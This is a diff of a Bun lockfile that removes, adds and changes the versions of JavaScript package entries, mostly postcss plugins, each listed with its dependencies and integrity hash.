"object.values": ["object.values@1.2.1", "", { "dependencies": { "call-bind": "^1.0.8", "call-bound": "^1.0.3", "define-properties": "^1.2.1", "es-object-atoms": "^1.0.0" } }, "sha512-gXah6aZrcUxjWg2zR2MwouP2eHlCBzdV4pygudehaKXSGW4v2AsRQUK+lwwXhii6KFZcunEnmSUoYp5CXibxtA=="],
- "okapibm25": ["okapibm25@1.4.1", "", {}, "sha512-UHmeH4MAtZXGFVncwbY7pfFvDVNxpsyM3W66aGPU0SHj1+ld59ty+9lJ0ifcrcnPUl1XdYoDgb06ObyCnpTs3g=="],
-
"ollama": ["ollama@0.5.18", "", { "dependencies": { "whatwg-fetch": "^3.6.20" } }, "sha512-lTFqTf9bo7Cd3hpF6CviBe/DEhewjoZYd9N/uCe7O20qYTvGqrNOFOBDj3lbZgFWHUgDv5EeyusYxsZSLS8nvg=="],
"on-finished": ["on-finished@2.4.1", "", { "dependencies": { "ee-first": "1.1.1" } }, "sha512-oVlzkg3ENAhCk2zdv7IJwd/QUD4z2RxRwpkcGY8psCVcCYZNq4wYnVWALHM+brtuJjePWiYF/ClmuDr8Ch5+kg=="],
@@ -3939,8 +3671,6 @@
"openid-client": ["openid-client@6.5.0", "", { "dependencies": { "jose": "^6.0.10", "oauth4webapi": "^3.5.1" } }, "sha512-fAfYaTnOYE2kQCqEJGX9KDObW2aw7IQy4jWpU/+3D3WoCFLbix5Hg6qIPQ6Js9r7f8jDUmsnnguRNCSw4wU/IQ=="],
- "option": ["option@0.2.4", "", {}, "sha512-pkEqbDyl8ou5cpq+VsnQbe/WlEy5qS7xPzMS1U55OCG9KPvwFD46zDbxQIj3egJSFc3D+XhYOPUzz49zQAVy7A=="],
-
"optionator": ["optionator@0.9.3", "", { "dependencies": { "@aashutoshrathi/word-wrap": "^1.2.3", "deep-is": "^0.1.3", "fast-levenshtein": "^2.0.6", "levn": "^0.4.1", "prelude-ls": "^1.2.1", "type-check": "^0.4.0" } }, "sha512-JjCoypp+jKn1ttEFExxhetCKeJt9zhAgAve5FXHixTvFDW/5aEktX9bufBKLRRMdU7bNtpLfcGu94B3cdEJgjg=="],
"os-browserify": ["os-browserify@0.3.0", "", {}, "sha512-gjcpUc3clBf9+210TRaDWbf+rZZZEshZ+DlXMRCeAjp0xhTrnQsKHypIy1J3d5hKdUzj69t708EHtU8P6bUn0A=="],
@@ -3965,8 +3695,6 @@
"package-json-from-dist": ["package-json-from-dist@1.0.1", "", {}, "sha512-UEZIS3/by4OC8vL3P2dTXRETpebLI2NiI5vIrjaD/5UtrkFX/tNbwjTSRAGC/+7CAo2pIcBaRgWmcBBHcsaCIw=="],
- "package-manager-detector": ["package-manager-detector@1.6.0", "", {}, "sha512-61A5ThoTiDG/C8s8UMZwSorAGwMJ0ERVGj2OjoW5pAalsNOg15+iQiPzrLJ4jhZ1HJzmC2PIHT2oEiH3R5fzNA=="],
-
"pako": ["pako@1.0.11", "", {}, "sha512-4hLB8Py4zZce5s4yd9XzopqwVv/yGNhV1Bl8NTmCq1763HeK2+EwVTv+leGeL13Dnh2wfbqowVPXCIO0z4taYw=="],
"parent-module": ["parent-module@1.0.1", "", { "dependencies": { "callsites": "^3.0.0" } }, "sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g=="],
@@ -4009,29 +3737,25 @@
"path-browserify": ["path-browserify@1.0.1", "", {}, "sha512-b7uo2UCUOYZcnF/3ID0lulOJi/bafxa1xPe7ZPsammBSpjSWQkjNxlt635YGS2MiR9GjvuXCtz2emr3jbsz98g=="],
- "path-data-parser": ["path-data-parser@0.1.0", "", {}, "sha512-NOnmBpt5Y2RWbuv0LMzsayp3lVylAHLPUTut412ZA3l+C4uw4ZVkQbjShYCQ8TCpUMdPapr4YjUqLYD6v68j+w=="],
-
"path-exists": ["path-exists@4.0.0", "", {}, "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w=="],
- "path-expression-matcher": ["path-expression-matcher@1.2.0", "", {}, "sha512-DwmPWeFn+tq7TiyJ2CxezCAirXjFxvaiD03npak3cRjlP9+OjTmSy1EpIrEbh+l6JgUundniloMLDQ/6VTdhLQ=="],
-
"path-is-absolute": ["path-is-absolute@1.0.1", "", {}, "sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg=="],
"path-key": ["path-key@3.1.1", "", {}, "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q=="],
"path-parse": ["path-parse@1.0.7", "", {}, "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw=="],
- "path-scurry": ["path-scurry@2.0.2", "", { "dependencies": { "lru-cache": "^11.0.0", "minipass": "^7.1.2" } }, "sha512-3O/iVVsJAPsOnpwWIeD+d6z/7PmqApyQePUtCndjatj/9I5LylHvt5qluFaBT3I5h3r1ejfR056c+FCv+NnNXg=="],
+ "path-scurry": ["path-scurry@2.0.1", "", { "dependencies": { "lru-cache": "^11.0.0", "minipass": "^7.1.2" } }, "sha512-oWyT4gICAu+kaA7QWk/jvCHWarMKNs6pXOGWKDTr7cw4IGcUbW+PeTfbaQiLGheFRpjo6O9J0PmyMfQPjH71oA=="],
"path-to-regexp": ["path-to-regexp@8.2.0", "", {}, "sha512-TdrF7fW9Rphjq4RjrW0Kp2AW0Ahwu9sRGTkS6bvDi0SCwZlEZYmcfDbEsTz8RVk0EHIS/Vd1bv3JhG+1xZuAyQ=="],
- "pathe": ["pathe@2.0.3", "", {}, "sha512-WUjGcAqP1gQacoQe+OBJsFA7Ld4DyXuUIjZ5cc75cLHvJ7dtNsTugphxIADwspS+AraAUePCKrSVtPLFj/F88w=="],
+ "path-type": ["path-type@4.0.0", "", {}, "sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw=="],
"pause": ["pause@0.0.1", "", {}, "sha512-KG8UEiEVkR3wGEb4m5yZkVCzigAD+cVEJck2CzYZO37ZGJfctvVptVO192MwrtPhzONn6go8ylnOdMhKqi4nfg=="],
"pbkdf2": ["pbkdf2@3.1.3", "", { "dependencies": { "create-hash": "~1.1.3", "create-hmac": "^1.1.7", "ripemd160": "=2.0.1", "safe-buffer": "^5.2.1", "sha.js": "^2.4.11", "to-buffer": "^1.2.0" } }, "sha512-wfRLBZ0feWRhCIkoMB6ete7czJcnNnqRpcoWQBLqatqXXmelSRqfdDK4F3u9T2s2cXas/hQJcryI/4lAL+XTlA=="],
- "pdfjs-dist": ["pdfjs-dist@5.5.207", "", { "optionalDependencies": { "@napi-rs/canvas": "^0.1.95", "node-readable-to-web-readable-stream": "^0.4.2" } }, "sha512-WMqqw06w1vUt9ZfT0gOFhMf3wHsWhaCrxGrckGs5Cci6ybDW87IvPaOd2pnBwT6BJuP/CzXDZxjFgmSULLdsdw=="],
+ "peek-readable": ["peek-readable@5.0.0", "", {}, "sha512-YtCKvLUOvwtMGmrniQPdO7MwPjgkFBtFIrmfSbYmYuq3tKDV/mcfAhBth1+C3ru7uXIZasc/pHnb+YDYNkkj4A=="],
"pend": ["pend@1.2.0", "", {}, "sha512-F3asv42UuXchdzt+xXqfW1OGlVBe+mxa2mqI0pg5yAHZPvFmY3Y6drSf/GQ1A86WgWEN9Kzh/WrgKa6iGcHXLg=="],
@@ -4049,43 +3773,37 @@
"pkg-dir": ["pkg-dir@4.2.0", "", { "dependencies": { "find-up": "^4.0.0" } }, "sha512-HRDzbaKjC+AOWVXxAU/x54COGeIv9eb+6CkDSQoNTt4XyWoIJvuPsXizxu/Fr23EiekbtZwmh1IcIG/l/a10GQ=="],
- "pkg-types": ["pkg-types@1.3.1", "", { "dependencies": { "confbox": "^0.1.8", "mlly": "^1.7.4", "pathe": "^2.0.1" } }, "sha512-/Jm5M4RvtBFVkKWRu2BLUTNP8/M2a+UwuAX+ae4770q1qVGtfjG+WTCupoZixokjmHiry8uI+dlY8KXYV5HVVQ=="],
-
"playwright": ["playwright@1.56.1", "", { "dependencies": { "playwright-core": "1.56.1" }, "optionalDependencies": { "fsevents": "2.3.2" }, "bin": "cli.js" }, "sha512-aFi5B0WovBHTEvpM3DzXTUaeN6eN0qWnTkKx4NQaH4Wvcmc153PdaY2UBdSYKaGYw+UyWXSVyxDUg5DoPEttjw=="],
"playwright-core": ["playwright-core@1.56.1", "", { "bin": "cli.js" }, "sha512-hutraynyn31F+Bifme+Ps9Vq59hKuUCz7H1kDOcBs+2oGguKkWTU50bBWrtz34OUWmIwpBTWDxaRPXrIXkgvmQ=="],
- "points-on-curve": ["points-on-curve@0.2.0", "", {}, "sha512-0mYKnYYe9ZcqMCWhUjItv/oHjvgEsfKvnUTg8sAtnHr3GVy7rGkXCb6d5cSyqrWqL4k81b9CPg3urd+T7aop3A=="],
-
- "points-on-path": ["points-on-path@0.2.1", "", { "dependencies": { "path-data-parser": "0.1.0", "points-on-curve": "0.2.0" } }, "sha512-25ClnWWuw7JbWZcgqY/gJ4FQWadKxGWk+3kR/7kD0tCaDtPPMj7oHu2ToLaVhfpnHrZzYby2w6tUA0eOIuUg8g=="],
-
"possible-typed-array-names": ["possible-typed-array-names@1.0.0", "", {}, "sha512-d7Uw+eZoloe0EHDIYoe+bQ5WXnGMOpmiZFTuMWCwpjzzkL2nTjcKiAk4hh8TjnGye2TwWOk3UXucZ+3rbmBa8Q=="],
- "postcss": ["postcss@8.5.8", "", { "dependencies": { "nanoid": "^3.3.11", "picocolors": "^1.1.1", "source-map-js": "^1.2.1" } }, "sha512-OW/rX8O/jXnm82Ey1k44pObPtdblfiuWnrd8X7GJ7emImCOstunGbXUpp7HdBrFQX6rJzn3sPT397Wp5aCwCHg=="],
+ "postcss": ["postcss@8.5.3", "", { "dependencies": { "nanoid": "^3.3.8", "picocolors": "^1.1.1", "source-map-js": "^1.2.1" } }, "sha512-dle9A3yYxlBSrt8Fu+IpjGT8SY8hN0mlaA6GY8t0P5PjIOZemULz/E2Bnm/2dcUOena75OTNkHI76uZBNUUq3A=="],
- "postcss-attribute-case-insensitive": ["postcss-attribute-case-insensitive@8.0.0", "", { "dependencies": { "postcss-selector-parser": "^7.1.1" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-fovIPEV35c2JzVXdmP+sp2xirbBMt54J+upU8u6TSj410kUU5+axgEzvBBSAX8KCybze8CFCelzFAw/FfWg2TA=="],
+ "postcss-attribute-case-insensitive": ["postcss-attribute-case-insensitive@6.0.2", "", { "dependencies": { "postcss-selector-parser": "^6.0.10" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-IRuCwwAAQbgaLhxQdQcIIK0dCVXg3XDUnzgKD8iwdiYdwU4rMWRWyl/W9/0nA4ihVpq5pyALiHB2veBJ0292pw=="],
"postcss-calc": ["postcss-calc@8.2.4", "", { "dependencies": { "postcss-selector-parser": "^6.0.9", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.2.2" } }, "sha512-SmWMSJmB8MRnnULldx0lQIyhSNvuDl9HfrZkaqqE/WHAhToYsAvDq+yAsA/kIyINDszOp3Rh0GFoNuH5Ypsm3Q=="],
"postcss-clamp": ["postcss-clamp@4.1.0", "", { "dependencies": { "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4.6" } }, "sha512-ry4b1Llo/9zz+PKC+030KUnPITTJAHeOwjfAyyB60eT0AorGLdzp52s31OsPRHRf8NchkgFoG2y6fCfn1IV1Ow=="],
- "postcss-color-functional-notation": ["postcss-color-functional-notation@8.0.2", "", { "dependencies": { "@csstools/css-color-parser": "^4.0.2", "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0", "@csstools/postcss-progressive-custom-properties": "^5.0.0", "@csstools/utilities": "^3.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-tbmkk6teYpJzFcGwPIhN1gkvxqGHvNx2PMb8Y3S5Ktyn7xOlvD98XzQ99MFY5mAyvXWclDG+BgoJKYJXFJOp5Q=="],
+ "postcss-color-functional-notation": ["postcss-color-functional-notation@5.1.0", "", { "dependencies": { "@csstools/postcss-progressive-custom-properties": "^2.3.0", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-w2R4py6zrVE1U7FwNaAc76tNQlG9GLkrBbcFw+VhUjyDDiV28vfZG+l4LyPmpoQpeSJVtu8VgNjE8Jv5SpC7dQ=="],
- "postcss-color-hex-alpha": ["postcss-color-hex-alpha@11.0.0", "", { "dependencies": { "@csstools/utilities": "^3.0.0", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-NCGa6vjIyrjosz9GqRxVKbONBklz5TeipYqTJp3IqbnBWlBq5e5EMtG6MaX4vqk9LzocPfMQkuRK9tfk+OQuKg=="],
+ "postcss-color-hex-alpha": ["postcss-color-hex-alpha@9.0.3", "", { "dependencies": { "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-7sEHU4tAS6htlxun8AB9LDrCXoljxaC34tFVRlYKcvO+18r5fvGiXgv5bQzN40+4gXLCyWSMRK5FK31244WcCA=="],
- "postcss-color-rebeccapurple": ["postcss-color-rebeccapurple@11.0.0", "", { "dependencies": { "@csstools/utilities": "^3.0.0", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-g9561mx7cbdqx7XeO/L+lJzVlzu7bICyXr72efBVKZGxIhvBBJf9fGXn3Cb6U4Bwh3LbzQO2e9NWBLVYdX5Eag=="],
+ "postcss-color-rebeccapurple": ["postcss-color-rebeccapurple@8.0.2", "", { "dependencies": { "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-xWf/JmAxVoB5bltHpXk+uGRoGFwu4WDAR7210el+iyvTdqiKpDhtcT8N3edXMoVJY0WHFMrKMUieql/wRNiXkw=="],
"postcss-colormin": ["postcss-colormin@5.3.1", "", { "dependencies": { "browserslist": "^4.21.4", "caniuse-api": "^3.0.0", "colord": "^2.9.1", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.2.15" } }, "sha512-UsWQG0AqTFQmpBegeLLc1+c3jIqBNB0zlDGRWR+dQ3pRKJL1oeMzyqmH3o2PIfn9MBdNrVPWhDbT769LxCTLJQ=="],
"postcss-convert-values": ["postcss-convert-values@5.1.3", "", { "dependencies": { "browserslist": "^4.21.4", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.2.15" } }, "sha512-82pC1xkJZtcJEfiLw6UXnXVXScgtBrjlO5CBmuDQc+dlb88ZYheFsjTn40+zBVi3DkfF7iezO0nJUPLcJK3pvA=="],
- "postcss-custom-media": ["postcss-custom-media@12.0.1", "", { "dependencies": { "@csstools/cascade-layer-name-parser": "^3.0.0", "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0", "@csstools/media-query-list-parser": "^5.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-66syE14+VeqkUf0rRX0bvbTCbNRJF132jD+ceo8th1dap2YJEAqpdh5uG98CE3IbgHT7m9XM0GIlOazNWqQdeA=="],
+ "postcss-custom-media": ["postcss-custom-media@9.1.5", "", { "dependencies": { "@csstools/cascade-layer-name-parser": "^1.0.2", "@csstools/css-parser-algorithms": "^2.2.0", "@csstools/css-tokenizer": "^2.1.1", "@csstools/media-query-list-parser": "^2.1.1" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-GStyWMz7Qbo/Gtw1xVspzVSX8eipgNg4lpsO3CAeY4/A1mzok+RV6MCv3fg62trWijh/lYEj6vps4o8JcBBpDA=="],
- "postcss-custom-properties": ["postcss-custom-properties@15.0.1", "", { "dependencies": { "@csstools/cascade-layer-name-parser": "^3.0.0", "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0", "@csstools/utilities": "^3.0.0", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-cuyq8sd8dLY0GLbelz1KB8IMIoDECo6RVXMeHeXY2Uw3Q05k/d1GVITdaKLsheqrHbnxlwxzSRZQQ5u+rNtbMg=="],
+ "postcss-custom-properties": ["postcss-custom-properties@13.3.4", "", { "dependencies": { "@csstools/cascade-layer-name-parser": "^1.0.7", "@csstools/css-parser-algorithms": "^2.5.0", "@csstools/css-tokenizer": "^2.2.3", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-9YN0gg9sG3OH+Z9xBrp2PWRb+O4msw+5Sbp3ZgqrblrwKspXVQe5zr5sVqi43gJGwW/Rv1A483PRQUzQOEewvA=="],
- "postcss-custom-selectors": ["postcss-custom-selectors@9.0.1", "", { "dependencies": { "@csstools/cascade-layer-name-parser": "^3.0.0", "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0", "postcss-selector-parser": "^7.1.1" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-2XBELy4DmdVKimChfaZ2id9u9CSGYQhiJ53SvlfBvMTzLMW2VxuMb9rHsMSQw9kRq/zSbhT5x13EaK8JSmK8KQ=="],
+ "postcss-custom-selectors": ["postcss-custom-selectors@7.1.6", "", { "dependencies": { "@csstools/cascade-layer-name-parser": "^1.0.5", "@csstools/css-parser-algorithms": "^2.3.2", "@csstools/css-tokenizer": "^2.2.1", "postcss-selector-parser": "^6.0.13" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-svsjWRaxqL3vAzv71dV0/65P24/FB8TbPX+lWyyf9SZ7aZm4S4NhCn7N3Bg+Z5sZunG3FS8xQ80LrCU9hb37cw=="],
- "postcss-dir-pseudo-class": ["postcss-dir-pseudo-class@10.0.0", "", { "dependencies": { "postcss-selector-parser": "^7.1.1" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-DmtIzULpyC8XaH4b5AaUgt4Jic4QmrECqidNCdR7u7naQFdnxX80YI06u238a+ZVRXwURDxVzy0s/UQnWmpVeg=="],
+ "postcss-dir-pseudo-class": ["postcss-dir-pseudo-class@7.0.2", "", { "dependencies": { "postcss-selector-parser": "^6.0.10" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-cMnslilYxBf9k3qejnovrUONZx1rXeUZJw06fgIUBzABJe3D2LiLL5WAER7Imt3nrkaIgG05XZBztueLEf5P8w=="],
"postcss-discard-comments": ["postcss-discard-comments@5.1.2", "", { "peerDependencies": { "postcss": "^8.2.15" } }, "sha512-+L8208OVbHVF2UQf1iDmRcbdjJkuBF6IS29yBDSiWUIzpYaAhtNl6JYnYm12FnkeCwQqF5LeklOu6rAqgfBZqQ=="],
@@ -4095,27 +3813,31 @@
"postcss-discard-overridden": ["postcss-discard-overridden@5.1.0", "", { "peerDependencies": { "postcss": "^8.2.15" } }, "sha512-21nOL7RqWR1kasIVdKs8HNqQJhFxLsyRfAnUDm4Fe4t4mCWL9OJiHvlHPjcd8zc5Myu89b/7wZDnOSjFgeWRtw=="],
- "postcss-double-position-gradients": ["postcss-double-position-gradients@7.0.0", "", { "dependencies": { "@csstools/postcss-progressive-custom-properties": "^5.0.0", "@csstools/utilities": "^3.0.0", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-Msr/dxj8Os7KLJE5Hdhvprwm3K5Zrh1KTY0eFN3ngPKNkej/Usy4BM9JQmqE6CLAkDpHoQVsi4snbL72CPt6qg=="],
+ "postcss-double-position-gradients": ["postcss-double-position-gradients@4.0.4", "", { "dependencies": { "@csstools/postcss-progressive-custom-properties": "^2.3.0", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-nUAbUXURemLXIrl4Xoia2tiu5z/n8sY+BVDZApoeT9BlpByyrp02P/lFCRrRvZ/zrGRE+MOGLhk8o7VcMCtPtQ=="],
- "postcss-focus-visible": ["postcss-focus-visible@11.0.0", "", { "dependencies": { "postcss-selector-parser": "^7.1.1" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-VG1a9kBKizUBWS66t5xyB4uLONBnvZLCmZXxT40FALu8EF0QgVZBYy5ApC0KhmpHsv+pvHMJHB3agKHwmocWjw=="],
+ "postcss-focus-visible": ["postcss-focus-visible@8.0.2", "", { "dependencies": { "postcss-selector-parser": "^6.0.10" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-f/Vd+EC/GaKElknU59esVcRYr/Y3t1ZAQyL4u2xSOgkDy4bMCmG7VP5cGvj3+BTLNE9ETfEuz2nnt4qkZwTTeA=="],
- "postcss-focus-within": ["postcss-focus-within@10.0.0", "", { "dependencies": { "postcss-selector-parser": "^7.1.1" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-dvql0fzUTG+gcJYp+KTbag5vAjuo94LDYZHkqDV1rnf5gPGer1v/SrmIZBdvKU8moep3HbcbujqGjzSb3DL53Q=="],
+ "postcss-focus-within": ["postcss-focus-within@7.0.2", "", { "dependencies": { "postcss-selector-parser": "^6.0.10" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-AHAJ89UQBcqBvFgQJE9XasGuwMNkKsGj4D/f9Uk60jFmEBHpAL14DrnSk3Rj+SwZTr/WUG+mh+Rvf8fid/346w=="],
"postcss-font-variant": ["postcss-font-variant@5.0.0", "", { "peerDependencies": { "postcss": "^8.1.0" } }, "sha512-1fmkBaCALD72CK2a9i468mA/+tr9/1cBxRRMXOUaZqO43oWPR5imcyPjXwuv7PXbCid4ndlP5zWhidQVVa3hmA=="],
- "postcss-gap-properties": ["postcss-gap-properties@7.0.0", "", { "peerDependencies": { "postcss": "^8.4" } }, "sha512-PSDF2QoZMRUbsINvXObQgxx4HExRP85QTT8qS/YN9fBsCPWCqUuwqAD6E6PNp0BqL/jU1eyWUBORaOK/J/9LDA=="],
+ "postcss-gap-properties": ["postcss-gap-properties@4.0.1", "", { "peerDependencies": { "postcss": "^8.4" } }, "sha512-V5OuQGw4lBumPlwHWk/PRfMKjaq/LTGR4WDTemIMCaMevArVfCCA9wBJiL1VjDAd+rzuCIlkRoRvDsSiAaZ4Fg=="],
- "postcss-image-set-function": ["postcss-image-set-function@8.0.0", "", { "dependencies": { "@csstools/utilities": "^3.0.0", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-rEGNkOkNusf4+IuMmfEoIdLuVmvbExGbmG+MIsyV6jR5UaWSoyPcAYHV/PxzVDCmudyF+2Nh/o6Ub2saqUdnuA=="],
+ "postcss-image-set-function": ["postcss-image-set-function@5.0.2", "", { "dependencies": { "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-Sszjwo0ubETX0Fi5MvpYzsONwrsjeabjMoc5YqHvURFItXgIu3HdCjcVuVKGMPGzKRhgaknmdM5uVWInWPJmeg=="],
"postcss-import": ["postcss-import@15.1.0", "", { "dependencies": { "postcss-value-parser": "^4.0.0", "read-cache": "^1.0.0", "resolve": "^1.1.7" }, "peerDependencies": { "postcss": "^8.0.0" } }, "sha512-hpr+J05B2FVYUAXHeK1YyI267J/dDDhMU6B6civm8hSY1jYJnBXxzKDKDswzJmtLHryrjhnDjqqp/49t8FALew=="],
+ "postcss-initial": ["postcss-initial@4.0.1", "", { "peerDependencies": { "postcss": "^8.0.0" } }, "sha512-0ueD7rPqX8Pn1xJIjay0AZeIuDoF+V+VvMt/uOnn+4ezUKhZM/NokDeP6DwMNyIoYByuN/94IQnt5FEkaN59xQ=="],
+
"postcss-js": ["postcss-js@4.0.1", "", { "dependencies": { "camelcase-css": "^2.0.1" }, "peerDependencies": { "postcss": "^8.4.21" } }, "sha512-dDLF8pEO191hJMtlHFPRa8xsizHaM82MLfNkUHdUtVEV3tgTp5oj+8qbEqYM57SLfc74KSbw//4SeJma2LRVIw=="],
- "postcss-lab-function": ["postcss-lab-function@8.0.2", "", { "dependencies": { "@csstools/css-color-parser": "^4.0.2", "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0", "@csstools/postcss-progressive-custom-properties": "^5.0.0", "@csstools/utilities": "^3.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-1ZIAh8ODhZdnAb09Aq2BTenePKS1G/kUR0FwvzkQDfFtSOV64Ycv27YvV11fDycEvhIcEmgYkLABXKRiWcXRuA=="],
+ "postcss-lab-function": ["postcss-lab-function@5.2.3", "", { "dependencies": { "@csstools/css-color-parser": "^1.2.0", "@csstools/css-parser-algorithms": "^2.1.1", "@csstools/css-tokenizer": "^2.1.1", "@csstools/postcss-progressive-custom-properties": "^2.3.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-fi32AYKzji5/rvgxo5zXHFvAYBw0u0OzELbeCNjEZVLUir18Oj+9RmNphtM8QdLUaUnrfx8zy8vVYLmFLkdmrQ=="],
"postcss-load-config": ["postcss-load-config@3.1.4", "", { "dependencies": { "lilconfig": "^2.0.5", "yaml": "^1.10.2" }, "peerDependencies": { "postcss": ">=8.0.9", "ts-node": ">=9.0.0" } }, "sha512-6DiM4E7v4coTE4uzA8U//WhtPwyhiim3eyjEMFCnUpzbrkK9wJHgKDT2mR+HbtSrd/NubVaYTOpSpjUl8NQeRg=="],
- "postcss-logical": ["postcss-logical@9.0.0", "", { "dependencies": { "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-A4LNd9dk3q/juEUA9Gd8ALhBO3TeOeYurnyHLlf2aAToD94VHR8c5Uv7KNmf8YVRhTxvWsyug4c5fKtARzyIRQ=="],
+ "postcss-loader": ["postcss-loader@7.3.4", "", { "dependencies": { "cosmiconfig": "^8.3.5", "jiti": "^1.20.0", "semver": "^7.5.4" }, "peerDependencies": { "postcss": "^7.0.0 || ^8.0.1", "webpack": "^5.0.0" } }, "sha512-iW5WTTBSC5BfsBJ9daFMPVrLT36MrNiC6fqOZTTaHjBNX6Pfd5p+hSBqe/fEeNd7pc13QiAyGt7VdGMw4eRC4A=="],
+
+ "postcss-logical": ["postcss-logical@6.2.0", "", { "dependencies": { "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-aqlfKGaY0nnbgI9jwUikp4gJKBqcH5noU/EdnIVceghaaDPYhZuyJVxlvWNy55tlTG5tunRKCTAX9yljLiFgmw=="],
"postcss-merge-longhand": ["postcss-merge-longhand@5.1.7", "", { "dependencies": { "postcss-value-parser": "^4.2.0", "stylehacks": "^5.1.1" }, "peerDependencies": { "postcss": "^8.2.15" } }, "sha512-YCI9gZB+PLNskrK0BB3/2OzPnGhPkBEwmwhfYk1ilBHYVAZB7/tkTHFBAnCrvBBOmeYyMYw3DMjT55SyxMBzjQ=="],
@@ -4141,7 +3863,7 @@
"postcss-nested": ["postcss-nested@6.0.1", "", { "dependencies": { "postcss-selector-parser": "^6.0.11" }, "peerDependencies": { "postcss": "^8.2.14" } }, "sha512-mEp4xPMi5bSWiMbsgoPfcP74lsWLHkQbZc3sY+jWYd65CUwXrUaTp0fmNpa01ZcETKlIgUdFN/MpS2xZtqL9dQ=="],
- "postcss-nesting": ["postcss-nesting@14.0.0", "", { "dependencies": { "@csstools/selector-resolve-nested": "^4.0.0", "@csstools/selector-specificity": "^6.0.0", "postcss-selector-parser": "^7.1.1" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-YGFOfVrjxYfeGTS5XctP1WCI5hu8Lr9SmntjfRC+iX5hCihEO+QZl9Ra+pkjqkgoVdDKvb2JccpElcowhZtzpw=="],
+ "postcss-nesting": ["postcss-nesting@11.3.0", "", { "dependencies": { "@csstools/selector-specificity": "^2.0.0", "postcss-selector-parser": "^6.0.10" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-JlS10AQm/RzyrUGgl5irVkAlZYTJ99mNueUl+Qab+TcHhVedLiylWVkKBhRale+rS9yWIJK48JVzQlq3LcSdeA=="],
"postcss-normalize-charset": ["postcss-normalize-charset@5.1.0", "", { "peerDependencies": { "postcss": "^8.2.15" } }, "sha512-mSgUJ+pd/ldRGVx26p2wz9dNZ7ji6Pn8VWBajMXFf8jk7vUoSrZ2lt/wZR7DtlZYKesmZI680qjr2CeFF2fbUg=="],
@@ -4161,19 +3883,19 @@
"postcss-normalize-whitespace": ["postcss-normalize-whitespace@5.1.1", "", { "dependencies": { "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.2.15" } }, "sha512-83ZJ4t3NUDETIHTa3uEg6asWjSBYL5EdkVB0sDncx9ERzOKBVJIUeDO9RyA9Zwtig8El1d79HBp0JEi8wvGQnA=="],
- "postcss-opacity-percentage": ["postcss-opacity-percentage@3.0.0", "", { "peerDependencies": { "postcss": "^8.4" } }, "sha512-K6HGVzyxUxd/VgZdX04DCtdwWJ4NGLG212US4/LA1TLAbHgmAsTWVR86o+gGIbFtnTkfOpb9sCRBx8K7HO66qQ=="],
